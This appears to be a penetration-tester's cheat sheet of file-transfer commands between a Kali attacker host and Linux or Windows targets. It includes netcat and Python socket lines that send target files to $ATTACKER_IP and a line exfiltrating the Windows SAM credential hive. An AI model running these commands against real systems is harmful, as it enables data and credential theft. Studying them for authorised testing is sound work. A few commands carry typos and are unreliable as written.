Linux

<aside>

wget & curl

python3 -m http.server 8888

wget <http://$IP:8888/file.txt> -O file2.txt
curl <http://$IP:8888/file.txt>

scp

sudo systemctl start ssh
# 파일 업로드 (Local -> Remote)
scp ~/Desktop/file.txt user@$IP:/home/user/

# 파일 다운로드 (Remote -> Local)
scp user@$IP:/var/www/html/index.php .

nc

# From Kali to Target
nc -lvnp 80 < wook.sh # kali
nc $Kali_IP 80 > wook.sh # target

# From Target to Kali
nc -lvnp 80 > secret.txt # kali
nc $Kali_IP 80 < secret.txt # target

# nc + python
nc -lvnp 443 > file.txt
python3 -c "import socket; s=socket.socket(); s.connect(('KALI_IP', 1234)); f=open('filename.txt', 'rb'); s.send(f.read()); s.close()"

# base64
base64 file.txt | nc $ATTACKER_IP 443
nc -lvnp 443 | base64 -d > file.txt

uploadserver

# Requires python 3.9 and above
## in the attacker host
pip install uploadserver
python -m uploadserver
python3 -m upload server # default is 8000
python3 -m uploadserver 4444

## in the target host
# File will be uploaded to the directory where you ran the uploadserver module
curl -X POST <http://$IP:4444/upload> -F 'files=@suspicious_file.txt'

</aside>

Windows

<aside>

certutil

certutil -urlcache -split -f <http://$IP:443/file.txt> file.tx

invoke-webrequest

Invoke-WebRequest -Uri <http://$IP:443/file.txt> -outfile file.txt
iwr -uri <http://$IP:443/file.txt> -outfile file.txt

wget

wget <http://$IP:443/file.txt> file.txt

impacket-smbserver

REMOTE TO LOCAL
impacket-smbserver.py
copy \\\\$ATTACKER_IP\\$SHARE\\file.txt

LOCAL TO REMOTE
impacket-smbserver share [share] -smb2support -user [user] -password [password]
net use \\\\[Kali_IP]\\share /user:[user] [password]
copy C:\\Users\\victim\\[file] \\\\[Kali_IP]\\share\\

uploadserver

# Requires python 3.9 and above
## in the attacker host
pip install uploadserver
python -m uploadserver
python3 -m upload server # default is 8000
python3 -m uploadserver 4444

## in the target host
# File will be uploaded to the directory where you ran the uploadserver module
curl -X POST <http://$IP:4444/upload> -F 'files=@suspicious_file.txt'

nc

# WINDOWS TO LINUX
nc -lvnp 443 > SAM.bin # Listener in Kali

nc.exe $IP 2222 < SAM # CMD
cmd /c "nc.exe $IP 2222 < SAM" # POWERSHELL

</aside>